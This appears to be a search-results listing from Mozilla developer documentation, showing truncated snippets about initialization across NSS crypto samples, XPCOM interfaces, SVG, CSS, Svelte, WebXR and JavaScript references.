cy (see cert.h) cert_getclassicocspenabledsoftfailurepolicy (see cert.h) cert_getpkixverifynistrevocationpolicy (see cert.h) cert_getusepkixforvalidation (see cert.h) cert_getvaliddnspatternsfromcert (see cert.h) cert_newtempcertificate (see cert.h) cert_setocsptimeout (see certhigh/ocsp.h) cert_setusepkixforvalidation (see cert.h) cert_pkixverifycert (see cert.h) hash_gettype (see sechash.h) nss_initwithmerge (see nss.h) pk11_createmergelog (see pk11pub.h) pk11_creategenericobject (see pk11pub.h) pk11_createpbev2algorithmid (see pk11pub.h) pk11_destroymergelog (see pk11pub.h) pk11_generatekeypairwithopflags (see pk11pub.h) pk11_getpbecryptomechanism (see pk11pub.h) pk11_isremovable (see pk11pub.h) pk11_mergetokens (see pk11pub.h) pk11_writerawattribute (see pk11pub.h) seckey_ecparamstobasepoi...
...llia ckm: mechanisms ckm_sha224_rsa_pkcs ckm_sha224_rsa_pkcs_pss ckm_sha224 ckm_sha224_hmac ckm_sha224_hmac_general ckm_sha224_key_derivation ckm_camellia_key_gen ckm_camellia_ecb ckm_camellia_cbc ckm_camellia_mac ckm_camellia_mac_general ckm_camellia_cbc_pad ckm_camellia_ecb_encrypt_data ckm_camellia_cbc_encrypt_data ckg: mfgs ckg_mgf1_sha224 new error codes (see secerr.h): sec_error_not_initialized sec_error_token_not_logged_in sec_error_ocsp_responder_cert_invalid sec_error_ocsp_bad_signature sec_error_out_of_search_limits sec_error_invalid_policy_mapping sec_error_policy_validation_failed sec_error_unknown_aia_location_type sec_error_bad_http_response sec_error_bad_ldap_response sec_error_failed_to_encode_data sec_error_bad_info_access_location sec_error_libpkix_internal new mech...
...bug 429388: vfychain.main leaks memory bug 396044: warning: usage of uninitialized variable in ckfw/object.c(174) bug 396045: warning: usage of uninitialized variable in ckfw/mechanism.c(719) bug 401986: mac os x leopard build failure in legacydb bug 325805: diff considers mozilla/security/nss/cmd/pk11util/scripts/pkey a binary file bug 385151: remove the link time dependency from nss to softoken bug 387892: add entrust root ca certificate(s) to nss bug 433386: when syst...
...And 9 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
sample code 3 /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* nss headers */ #include <keyhi.h> #include <pk11priv.h> /* our samples utilities */ #include "util.h" #define buffersize 80 #define digestsize 16 #define ptext_mac_buffer_size 96 #define ciphersize 96 #define blocksize 32 #define cipher_header "-----begin cipher-----" #define cipher_trailer "-----end cipher-----" #define enckey_header "-----begin aeskey ckaid-----" #define enckey_trailer "-----end aeskey ckaid-----" #...
...*/ /* nspr headers */ #include <prthread.h> #include <plgetopt.h> #include <prerror.h> #include <prinit.h> #include <prlog.h> #include <prtypes.h> #include <plstr.h> /* * gather a cka_id */ secstatus gathercka_id(pk11symkey* key, secitem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n")...
...could not authenticate to token %s.\n", pk11_gettokenname(slot)); return null; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess...
...And 9 more matches
Using COM from js-ctypes
#include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { ispvoice* pvoice = null; hresult hr = cocreateinstance(clsid_spvoice, null, clsctx_all, iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->speak(l"hello, firefox!", spf_default, null); pvoice->release(); } } // msdn documentation says that even if coinital...
...ize fails, counitialize // must be called couninitialize(); return 0; } to run the code, save it as test.cpp, and run following command in the directory (needs visual studio).
... #include <sapi.h> int main(void) { if (succeeded(coinitialize(null))) { struct ispvoice* pvoice = null; hresult hr = cocreateinstance(&clsid_spvoice, null, clsctx_all, &iid_ispvoice, (void**)&pvoice); if (succeeded(hr)) { pvoice->lpvtbl->speak(pvoice, l"hello, firefox!", 0, null); pvoice->lpvtbl->release(pvoice); } } // msdn documentatio...
...And 9 more matches
Color picker tool - CSS: Cascading Style Sheets
ibers[topic].push(callback); }; var unsubscribe = function unsubscribe(callback) { subscribers.indexof(callback); subscribers.splice(index, 1); }; var notify = function notify(topic, value) { if (subscribers[topic] === undefined || subscribers[topic].length === 0) return; var color = new color(value); for (var i in subscribers[topic]) subscribers[topic][i](color); }; var init = function init() { var elem = document.queryselectorall('.ui-color-picker'); var size = elem.length; for (var i = 0; i < size; i++) new colorpicker(elem[i]); }; return { init : init, color : color, rgbcolor : rgbcolor, rgbacolor : rgbacolor, hsvcolor : hsvcolor, hsvacolor : hsvacolor, hslcolor : hslcolor, hslacolor : hslacolor, setcolor : setcolor, getcolor : getc...
...subscribers[this.topic].length; i++) subscribers[this.topic][i](this.value); }; var createslider = function createslider(topic, label) { var slider = document.createelement('div'); slider.classname = 'ui-input-slider'; slider.setattribute('data-topic', topic); if (label !== undefined) slider.setattribute('data-info', label); new inputslider(slider); return slider; }; var init = function init() { var elem = document.queryselectorall('.ui-input-slider'); var size = elem.length; for (var i = 0; i < size; i++) new inputslider(elem[i]); }; return { init : init, setmax : setmax, setmin : setmin, setunit : setunit, setstep : setstep, getnode : getnode, getstep : getstep, setvalue : setvalue, subscribe : subscribe, unsubscribe : unsubscribe, ...
...setprecision : setprecision, setsensivity : setsensivity, getprecision : getprecision, createslider : createslider, }; })(); 'use strict'; window.addeventlistener("load", function() { colorpickertool.init(); }); var colorpickertool = (function colorpickertool() { /*========== get dom element by id ==========*/ function getelembyid(id) { return document.getelementbyid(id); } function allowdropevent(e) { e.preventdefault(); } /*========== make an element resizable relative to it's parent ==========*/ var uicomponent = (function uicomponent() { function makeresizable(elem, axis) { var valuex = 0; var valuey = 0; var action = 0; var resizestart = function resizestart(e) { e.stoppropagation(); e.preventdefault(); if (e.button !== 0) retu...
...And 9 more matches
text-anchor - SVG: Scalable Vector Graphics
each text chunk has an initial current text position, which represents the point in the user coordinate system resulting from (depending on context) application of the x and y attributes on the <text> element, any x or y attribute values on a <tspan>, <tref> or <altglyph> element assigned explicitly to the first rendered character in a text chunk, or determination of the initial current text position for a <textpath> elemen...
...75" r="3" fill="red" /> <circle cx="60" cy="110" r="3" fill="red" /> <style><![cdata[ text { font: bold 36px verdana, helvetica, arial, sans-serif; } ]]></style> </svg> usage notes default value start value start | middle | end animatable yes start the rendered characters are aligned such that the start of the text string is at the initial current text position.
... for an element with a direction property value of ltr (typical for most european languages), the left side of the text is rendered at the initial text position.
...And 9 more matches
SVG documentation index - SVG: Scalable Vector Graphics
WebSVGIndex
the clip-rule attribute basically works as the fill-rule attribute, except that it applies to <clippath> definitions.
... 88 from svg, svg attribute the from attribute indicates the initial value of the attribute that will be modified during the animation.
... 97 gradienttransform svg, svg attribute the gradienttransform attribute contains the definition of an optional additional transformation from the gradient coordinate system onto the target coordinate system (i.e., userspaceonuse or objectboundingbox).
...And 9 more matches
Understanding WebAssembly text format - WebAssembly
parameters are basically just locals that are initialized with the value of the corresponding argument passed by the caller.
...this results in "hi" being printed to the console: var memory = new webassembly.memory({initial:1}); var importobject = { console: { log: consolelogstring }, js: { mem: memory } }; webassembly.instantiatestreaming(fetch('logger2.wasm'), importobject) .then(obj => { obj.instance.exports.writehi(); }); note: you can find the full source on github as logger2.html (also see it live).
...just like data sections can be used to initialize regions of linear memory with bytes, elem sections can be used to initialize regions of tables with functions: (module (table 2 funcref) (elem (i32.const 0) $f1 $f2) (func $f1 (result i32) i32.const 42) (func $f2 (result i32) i32.const 13) ...
...And 9 more matches
TypeScript support in Svelte - Learn web development
set its type to htmlelement like this: let nameel: htmlelement // reference to the name input dom node last for this file, we need to specify the correct type for our autofocus variable; update its definition like this: export let autofocus: boolean = false todo.svelte now the only warnings that npm run validate emits are triggered by calling the todo.svelte component; let's fix them.
...(ts) const focusoninit = (node) => node && typeof node.focus === 'function' && node.focus() ./07-next-steps/src/components/todo.svelte:47:28 warn: parameter 'node' implicitly has an 'any' type, but a better type may be inferred from usage.
... set the type of our initialtodos array to todotype[].
...And 8 more matches
Advanced Svelte: Reactivity, lifecycle, accessibility - Learn web development
component lifecycle, and the onmount() function when a component is instantiated, svelte runs the initialization code (that is, the <script> section of the component).
... to start with, add the following line at the beginning of the newtodo.svelte <script> section: import { onmount } from 'svelte' and these lines at the end of it: console.log('initializing:', nameel) onmount( () => { console.log('mounted:', nameel) }) now remove the if (autofocus) nameel.focus() line to avoid throwing the error we were seeing before.
... the app will now work again, and you'll see the following in your console: initializing: undefined mounted: <input id="todo-0" class="input input__lg" type="text" autocomplete="off"> as you can see, while the component is initializing nameel is undefined, which makes sense because the node input doesn't even exist yet.
...And 8 more matches
source-editor.jsm
method overview initialization and destruction void destroy(); void init(element aelement, object aconfig, function acallback); search operations number find(string astring, [optional] object options); number findnext(boolean awrap); number findprevious(boolean awrap); event management void addeventlistener(string aeventtype, function acallback...
... editor mode constants these constants are used to set the syntax highlighting mode for the editor by calling its setmode() method, or in the configuration object when first initializing the editor using its init() method.
... constant value sourceeditor.defaults.contextmenu "sourceeditorcontextmenu" sourceeditor.defaults.expandtab true sourceeditor.defaults.highlightcurrentline true sourceeditor.defaults.initialtext "" sourceeditor.defaults.keys null sourceeditor.defaults.mode sourceeditor.modes.text sourceeditor.defaults.readonly false sourceeditor.defaults.showannotationruler false sourceeditor.defaults.showlinenumbers false sourceeditor.defaults.showoverviewruler false sourceeditor.defaults.tabsize 4 s...
...And 8 more matches
Using the viewport meta tag to control layout on mobile browsers
viewport basics a typical mobile-optimized site contains something like the following: <meta name="viewport" content="width=device-width, initial-scale=1"> the width property controls the size of the viewport.
...(there are corresponding height and device-height values, which may be useful for pages with elements that change size or position based on the viewport height.) the initial-scale property controls the zoom level when the page is first loaded.
...initially this caused usability and readability problems on many touch-optimized web sites.
...And 8 more matches
An overview of NSS Internals
because of nss's expectation to operate with an nss database, it's mandatory that you perform an initialization call, where you tell nss which database you will be using.
... in the most simple scenario, the programmer will provide a directory on your filesystem as a parameter to the init function, and nss is designed to do the rest.
...alternatively, should you decide that you don't want to work with any persistent recording of certificates, you may initialize nss in a no-database mode.
...And 8 more matches
sslintro.html
an ssl application typically includes five parts: initialization configuration communication functions used by callbacks cleanup although the details differ somewhat for client and server applications, the concepts and many of the functions are the same for both.
... initialization initialization includes setting up configuration files, setting global defaults, and setting up callback functions.
... functions used in the initialization part of an application can include the following: pr_init.
...And 8 more matches
How to embed the JavaScript engine
jsautorequest ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, rval.address()); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str))...
...*/ static jsclass global_class = { "global", jsclass_global_flags, js_propertystub, js_deletepropertystub, js_propertystub, js_strictpropertystub, js_enumeratestub, js_resolvestub, js_convertstub, nullptr, nullptr, nullptr, nullptr, js_globalobjecttracehook }; int main(int argc, const char *argv[]) { js_init(); jsruntime *rt = js_newruntime(8l * 1024 * 1024, js_use_helper_threads); if (!rt) return 1; jscontext *cx = js_newcontext(rt, 8192); if (!cx) return 1; { // scope for our various stack objects (jsautorequest, rootedobject), so they all go // out of scope before we js_destroycontext.
...st ar(cx); // in practice, you would want to exit this any // time you're spinning the event loop js::rootedobject global(cx, js_newglobalobject(cx, &global_class, nullptr, js::fireonnewglobalhook)); if (!global) return 1; js::rootedvalue rval(cx); { // scope for jsautocompartment jsautocompartment ac(cx, global); js_initstandardclasses(cx, global); const char *script = "'hello'+'world, it is '+new date()"; const char *filename = "noname"; int lineno = 1; bool ok = js_evaluatescript(cx, global, script, strlen(script), filename, lineno, &rval); if (!ok) return 1; } jsstring *str = rval.tostring(); printf("%s\n", js_encodestring(cx, str)); } ...
...And 8 more matches
Component Internals
xpcom initialization to understand why and when your component library gets called, it is important to understand the xpcom initalization process.
... when an application starts up, that application may initialize xpcom.
... the sequence of events that kicks off this xpcom initialization may be triggered by user action or by the application startup itself.
...And 8 more matches
XPCOM Stream Guide
MozillaTechXPCOMGuideStreams
urce generic nsstorageinputstream n/a nsiinputstream, nsiseekablestream storagestream.newinputstream(); string (8-bit characters) nsstringstream @mozilla.org/io/string-input-stream;1 nsistringinputstream stream.setdata(data, length); file nsfileinputstream @mozilla.org/network/file-input-stream;1 nsifileinputstream stream.init(file, ioflags, perm, behaviorflags); zip nsjarinputstream n/a nsiinputstream zipreader.getinputstream(zipentry); similarly, each of these implements nsioutputstream.
... primitive output streams type native class contract id interface how to bind to a data target generic nsstoragestream @mozilla.org/storagestream;1 nsistoragestream stream.getoutputstream(); // returns nsioutputstream file nsfileoutputstream @mozilla.org/network/file-output-stream;1 nsifileoutputstream stream.init(file, ioflags, perm, behaviorflags); file nssafefileoutputstream @mozilla.org/network/safe-file-output-stream;1 nsisafefileoutputstream, nsifileoutputstream stream.init(file, ioflags, perm, behaviorflags); channels have streams too any implementation of nsichannel will have an input stream as well, but unless you own the channel, you shouldn't try to read from the input str...
...if you have an input stream called nativestream, you can use code like this: var stream = components.classes["@mozilla.org/scriptableinputstream;1"] .createinstance(components.interfaces.nsiscriptableinputstream); stream.init(nativestream); the stream provides .read(count), .available(), and .close() methods.
...And 8 more matches
nsILocalFile
void appendrelativepath(in astring relativefilepath); acstring getrelativedescriptor(in nsilocalfile fromfile); void initwithfile(in nsilocalfile afile); void initwithnativepath(in acstring filepath); native code only!
... void initwithpath(in astring filepath); void launch(); prlibrarystar load(); native code only!
... the result returned from this method may be used with setrelativedescriptor() to initialize a nsilocalfile instance.
...And 8 more matches
Activity Manager examples
if the default implementation of nsiactivityprocess, nsiactivitywarning and nsiactivityevent are not sufficient for the activity initiator, activity developers can provide their own components to extend the capabilities.
...ityprocess; const nsiae = components.interfaces.nsiactivityevent; const nsiam = components.interfaces.nsiactivitymanager; let gactivitymanager = components.classes["@mozilla.org/activity-manager;1"].getservice(nsiam); let process = components.classes["@mozilla.org/activity-process;1"].createinstance(nsiap); // assuming folder is an instance of nsimsgfolder interface // localization is omitted, initiator is not provided process.init("processing folder: " + folder.prettiestname, null); // note that we don't define a custom icon, default process icon // will be used process.contexttype = "account"; // group this activity by account process.contextobj = folder.server; // account in question gactivitymanager.addactivity(process); // step 2: showing some progress let percent ...
...= 50; process.setprogress(percent, "junk processing 25 of 50 messages", 25, 50); // step 3: removing the process and adding an event using process' attributes process.state = components.interfaces.nsiactivityprocess.state_completed; gactivitymanager.removeactivity(process.id); let event = components.classes["@mozilla.org/activity-event;1"].createinstance(nsiae); // localization is omitted, initiator is omitted event.init(folder.prettiestname + " is processed", null, "no junk found", process.starttime, // start time date.now()); // completion time event.contexttype = process.contexttype; // optional event.contextobj = process.contextobj; // optional gactivitymanager.addactivity(event); showing a user-defined activity with cancel capab...
...And 8 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
however, the daemon constructor itself is nothing but a clone of minidaemon with an added support for init and onstart functions declarable during the instantiation of the daemon.
...|*| http://www.gnu.org/licenses/lgpl-3.0.html |*| \*/ function minidaemon (oowner, ftask, nrate, nlen) { if (!(this && this instanceof minidaemon)) { return; } if (arguments.length < 2) { throw new typeerror('minidaemon - not enough arguments'); } if (oowner) { this.owner = oowner; } this.task = ftask; if (isfinite(nrate) && nrate > 0) { this.rate = math.floor(nrate); } if (nlen > 0) { this.length = math.floor(nlen); } } minidaemon.prototype.owner = null; minidaemon.prototype.task = null; minidaemon.prototype.rate = 100; minidaemon.prototype.length = infinity; /* these properties should be read-only */ minidaemon.prototype.session = -1; minidaemon.prototype.index = 0; minidaemon.prototype.paused = t...
...isfinite(this.length) && this.index < 1 : this.index + 1 > this.length; }; minidaemon.prototype.synchronize = function () { if (this.paused) { return; } clearinterval(this.session); this.session = setinterval(minidaemon.forcecall, this.rate, this); }; minidaemon.prototype.pause = function () { clearinterval(this.session); this.paused = true; }; minidaemon.prototype.start = function (breverse) { var ...
...And 8 more matches
all - CSS: Cascading Style Sheets
WebCSSall
it can set properties to their initial or inherited values, or to the values specified in another stylesheet origin.
... syntax /* global values */ all: initial; all: inherit; all: unset; /* css cascading and inheritance level 4 */ all: revert; the all property is specified as one of the css global keyword values.
... values initial specifies that all the element's properties should be changed to their initial values.
...And 8 more matches
Classes and Inheritance - Archive of obsolete content
each class defines one or more members, which are initialized to a given value when the class is instantiated.
...we can now use the above constructor to create instances of the class circle: let circle = circle(2, 3, 5); circle instanceof circle; // => true circle.x; // => 2 circle.y; // => 3 circle.radius; // => 5 inheritance and prototypes there is a problem with the definition of circle in the previous section that we have glossed over thus far.
...the method draw is defined on instances of shape, so we definitely want it to be defined on instances of circle.
...And 7 more matches
File I/O - Archive of obsolete content
createinstance(components.interfaces.nsilocalfile); file.initwithpath("/home"); note: the path should be in the "native" form (for example"c:\\windows").
... if you need to use file:// uris as initializers, see discussion of nsiioservice below.
... enumerating drives on windows while you can use initwithpath("/") on unix-like systems (linux, mac) to get the root of the file system, there's no such root on windows.
...And 7 more matches
Skinning XUL Files by Hand - Archive of obsolete content
for example, when a button is defined as follows: <button class="plain" label="push me" /> then the following very simple style definition applies to that button.
... reading the global skin it's very important to familiarize yourself with the basic style definitions in the global skin before you set out creating your own stylesheet.
...to avoid this, the makers of the css specification have created some rules of precedence that look at how many different rules have been defined for an element, where the style definitions appear (i.e., externally in a css file or inline), where the elements themselves appear, and other esoteric variables.
...And 7 more matches
2D maze game with device orientation - Game development
the folder structure is quite straightforward: the starting point is the index.html file where we initialize the framework and set up an <canvas> to render the game on.
...the <body> contains initialization of the phaser framework and the definitions of the game states.
... var game = new phaser.game(320, 480, phaser.canvas, 'game'); the line above will initialize the phaser instance — the arguments are the width of the canvas, height of the canvas, rendering method (we're using canvas, but there are also webgl and auto options available) and the optional id of the dom container we want to put the canvas in.
...And 7 more matches
Perceived performance - Learn web development
largest contentful paint (lcp) metric, definited in the largest contentful paint api, reports the render time of the largest content element visible in the viewport.
... these metrics have to do with initial load and render.
...for example, because page render is blocked by loading and parsing css and javascript, minimizing the amount of css and js that needs to be loaded on initially will have a major impact on improving perceived performance.
...And 7 more matches
Working with Svelte stores - Learn web development
in the above code we import the writable() function from svelte/store and use it to create a new store called alert with an initial value of "welcome to the to-do list app!".
...so we subscribe when the component is being initialized, and use ondestroy to unsubscribe when the component is unmounted.
... just for reference, here's a basic working store implemented from scratch: export const writable = (initial_value = 0) => { let value = initial_value // content of the store let subs = [] // subscriber's handlers const subscribe = (handler) => { subs = [...subs, handler] // add handler to the array of subscribers handler(value) // call handler with current value return () => sub...
...And 7 more matches
JSS Provider Notes
installing the provider in order to use any part of jss, including the jca provider, you must first call cryptomanager.initialize().
...if you do not wish the provider to be installed, create a cryptomanager.initializationvalues object, set its installjssprovider field to false, and pass the initializationvalues object to cryptomanager.initialize().
... whenever a new thread is created, its token is initialized to the default, the internal key storage token.
...And 7 more matches
Mozilla-JSS JCA Provider notes
installing the provider in order to use any part of jss, including the jca provider, you must first call cryptomanager.initialize().
...if you do not wish the provider to be installed, create a cryptomanager.initializationvalues object, set its installjssprovider field to false, and pass the initializationvalues object to cryptomanager.initialize().
...whenever a new thread is created, its token is initialized to the default, the internal key storage token.
...And 7 more matches
Encrypt Decrypt_MAC_Using Token
*/ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess...
... */ secstatus computemac(pk11context *ctxmac, unsigned char *ptext, unsigned int ptextlen, unsigned char *mac, unsigned int *maclen, unsigned int maxlen) { secstatus rv = macinit(ctxmac); if (rv != secsuccess) return rv; rv = macupdate(ctxmac, ptext, ptextlen); if (rv != secsuccess) return rv; rv = macfinal(ctxmac, mac, maclen, maxlen); return rv; } /* * writetoheaderfile */ secstatus writetoheaderfile(const char *buf, unsigned int len, headertype type, prfiledesc *outfile) { secstatus rv; char header[40]; ...
...ailer, iv_trailer); break; case mac: strcpy(header, mac_header); strcpy(trailer, mac_trailer); break; case pad: strcpy(header, pad_header); strcpy(trailer, pad_trailer); break; } pr_fprintf(outfile, "%s\n", header); printashex(outfile, buf, len); pr_fprintf(outfile, "%s\n\n", trailer); return secsuccess; } /* * initialize for encryption or decryption - common code.
...And 7 more matches
PKCS #11 Module Specs
to initialize a pkcs #11 module 'on-the-fly'.
... parameter this specifies a pkcs #11 library parameter with the application must pass to the pkcs #11 library at c_initialize() time (see below).
... parameter passing if the parameter is specified, the application/library will strip the value out, processing any outter quotes and escapes appropriately, and pass the parameter to the pkcs #11 library when it calls c_initialize().
...And 7 more matches
Starting WebLock
xxx what is example 2?following example 2, you change the class definition to support the nsiobserver interface and change ns_impl_isupports1 so that the queryinterface implementation knows that the component also supports nsiobserver.
... the weblock class definition with support for startup observation is below.
...in addition to these parameters, the callback functions are passed the nsmodulecomponentinfo struct, which is the same structure initially passed into ns_impl_nsgetmodule.
...And 7 more matches
Introduction to XPCOM for the DOM
indeed, many interfaces in the mozilla code are frozen (this is indicated by the comment @frozen at the beginning of the interface definition).
...nscomptr's are an extension of the c auto_ptr, managing the reference counting operations for you, and providing several facilities for comparison, initialization, etc...
...the following syntax is the preferred one (to use only with nscomptr's): nscomptr<nsifoo2> ifooptr2 (do_queryinterface(ifooptr)); that syntax is the preferred one to declare and initialize an nscomptr at the same time.
...And 7 more matches
nsICryptoHMAC
1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9 (firefox 3) method overview acstring finish(in prbool aascii); void init(in unsigned long aalgorithm, in nsikeyobject akeyobject); void reset(); void update([const, array, size_is(alen)] in octet adata, in unsigned long alen); void updatefromstream(in nsiinputstream astream, in unsigned long alen); constants hashing algorithms.
... these values are to be used by the init() method to indicate which hashing function to use.
...note: this method may be called any time after init() is called.
...And 7 more matches
nsIEditorSpellCheck
g suggestedword); astring getcurrentdictionary(); void getdictionarylist([array, size_is(count)] out wstring dictionarylist, out pruint32 count); wstring getnextmisspelledword(); void getpersonaldictionary(); wstring getpersonaldictionaryword(); wstring getsuggestedword(); void ignorewordalloccurrences(in wstring word); void initspellchecker(in nsieditor editor, in boolean enableselectionchecking); void removewordfromdictionary(in wstring word); void replaceword(in wstring misspelledword, in wstring replaceword, in boolean alloccurrences); void savedefaultdictionary(); obsolete since gecko 9.0 void setcurrentdictionary(in astring dictionary); void setfilter(in nsitextservicesf...
...ilter filter); void uninitspellchecker(); void updatecurrentdictionary(); methods addwordtodictionary() adds the specified word to the current personal dictionary.
... initspellchecker() turns on the spell checker for the given editor.
...And 7 more matches
nsIPlacesImportExportService
xport-service;1 as a service: var placesimportexportservice = components.classes["@mozilla.org/import-export-service;1"] .getservice(components.interfaces.nsiplacesimportexportservice); method overview void backupbookmarksfile(); void exporthtmltofile(in nsilocalfile afile); void importhtmlfromfile(in nsilocalfile afile, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromfiletofolder(in nsilocalfile afile, in print64 afolder, in boolean aisinitialimport); obsolete since gecko 14.0 void importhtmlfromuri(in nsiuri auri, in boolean aisinitialimport); obsolete since gecko 14.0 methods backupbookmarksfile() backs up the bookmarks.html file.
... loads the given bookmarks.html file and replaces it with the current bookmarks hierarchy (if aisinitialimport is true) or appends it (if aisinitialimport is false).
...observers will be passed through their data parameters either "html" if aisinitialimport is false or "html-initial" if aisinitialimport is true.
...And 7 more matches
nsIProcess
to create an instance, use: var process = components.classes["@mozilla.org/process/util;1"] .createinstance(components.interfaces.nsiprocess); method overview void init(in nsifile executable); void initwithpid(in unsigned long pid); obsolete since gecko 1.9.2 void kill(); void run(in boolean blocking, [array, size_is(count)] in string args, in unsigned long count); void runasync([array, size_is(count)] in string args, in unsigned long count, [optional] in nsiobserver observer, [optional] in boolean holdweak); void ru...
... methods init() initializes the nsiprocess with the specified executable file.
... once initialized, you can start the process executing by calling run().
...And 7 more matches
nsIZipWriter
exceptions thrown ns_error_not_initialized if no zip file has been opened.
... exceptions thrown ns_error_not_initialized no zip file is open.
... exceptions thrown ns_error_not_initialized no zip file is open.
...And 7 more matches
Reference Manual
whenever you `point' the nscomptr at a different xpcom object (by assignment or initialization), it must release its old value, if any, and addref the new.
...null-dereference safeguards an nscomptr will also assert at runtime if you try to dereference it when it is void, e.g., nscomptr<nsifoo> foo; // note: default initialized to |0| foo->dosomething(); // ns_precondition: "you can't dereference a null nscomptr with operator->()" a similar precondition intervenes on behalf of operator*.
...unit tests the unit tests for nscomptr can be found in the file /xpcom/tests/testcomptr.cpp initialization and assignment built-in forms assignment into, or initialization of an nscomptr is easy to understand.
...And 7 more matches
WebGLRenderingContext.pixelStorei() - Web APIs
glint 0 0 to infinity opengl es 3.0 gl.pack_skip_pixels number of pixel locations skipped before the first pixel is written into memory.
... glint 0 0 to infinity opengl es 3.0 gl.pack_skip_rows number of rows of pixel locations skipped before the first pixel is written into memory glint 0 0 to infinity opengl es 3.0 gl.unpack_row_length number of pixels in a row.
... glint 0 0 to infinity opengl es 3.0 gl.unpack_image_height image height used for reading pixel data from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_pixels number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_rows number of rows of pixel locations skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 gl.unpack_skip_images number of pixel images skipped before the first pixel is read from memory glint 0 0 to infinity opengl es 3.0 examples setting the pixel storage mode affects the webglrenderingcontext.readpixels() operations, as well as unpacking of textures wi...
...And 7 more matches
Movement, orientation, and motion: A WebXR example - Web APIs
3.fromvalues(0, 0, 1.0); const cubeorientation = vec3.create(); const cubematrix = mat4.create(); const mousematrix = mat4.create(); const inverseorientation = quat.create(); const radians_per_degree = math.pi / 180.0; the first two—viewerstartposition and viewerstartorientation—indicate where the viewer will be placed relative to the center of the space, and the direction in which they'll initially be looking.
... suffice it to say that the vertex shader computes the position of each vertex given the initial positions of each vertex and the transforms that need to be applied to convert them to simulate the viewer's current position and orientation.
... starting up and shutting down webxr upon initially loading the script, we install a handler for the load event, so that we can perform initialization.
...And 7 more matches
max-height - CSS: Cascading Style Sheets
syntax /* <length> value */ max-height: 3.5em; /* <percentage> value */ max-height: 75%; /* keyword values */ max-height: none; max-height: max-content; max-height: min-content; max-height: fit-content(20em); /* global values */ max-height: inherit; max-height: initial; max-height: unset; values <length> defines the max-height as an absolute value.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements but non-replaced inline elements, table columns, and column groupsinheritednopercentagesthe percentage is calculated with respect to the height of the generated box's containing block.
...c(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)where <length-percentage> = <length> | <percentage> examples setting max-height using percentage and keyword values table { max-height: 75%; } form { max-height: none; } specifications specification status comment css box sizing module level 4the definition of 'max-height' in that specification.
...And 7 more matches
max-width - CSS: Cascading Style Sheets
WebCSSmax-width
syntax /* <length> value */ max-width: 3.5em; /* <percentage> value */ max-width: 75%; /* keyword values */ max-width: none; max-width: max-content; max-width: min-content; max-width: fit-content(20em); /* global values */ max-width: inherit; max-width: initial; max-width: unset; values <length> defines the max-width as an absolute value.
... mdn understanding wcag, guideline 1.4 explanations understanding success criterion 1.4.4 | w3c understanding wcag 2.0 formal definition initial valuenoneapplies toall elements but non-replaced inline elements, table rows, and row groupsinheritednopercentagesrefer to the width of the containing blockcomputed valuethe percentage as specified or the absolute length or noneanimation typea length, percentage or calc(); formal syntax auto | <length> | <percentage> | min-content | max-content | fit-content(<length-percentage>)wher...
... </div> </div> css #parent { background: lightblue; width: 300px; } #child { background: gold; width: 100%; max-width: 150px; } result specifications specification status comment css box sizing module level 4the definition of 'max-width' in that specification.
...And 7 more matches
Functions - JavaScript
however, object references are values, too, and they are special: if the function changes the referred object's properties, that change is visible outside the function, as shown in the following example: /* declare the function 'myfunc' */ function myfunc(theobject) { theobject.brand = "toyota"; } /* * declare variable 'mycar'; * create and initialize a new object; * assign reference to it to 'mycar' */ var mycar = { brand: "honda", model: "accord", year: 1998 }; /* logs 'honda' */ console.log(mycar.brand); /* pass object reference to the function */ myfunc(mycar); /* * logs 'toyota' as the value of the 'brand' property * of the object, as changed to by the function.
... here is an example of an anonymous function expression (the name is not used): var myfunction = function() { statements } it is also possible to provide a name inside the definition in order to create a named function expression: var myfunction = function namedfunction(){ statements } one of the benefits of creating a named function expression is that in case we encountered an error, the stack trace will contain the name of the function, making it easier to find the origin of the error.
... functionbody a string containing the javascript statements comprising the function definition.
...And 7 more matches
Web Components
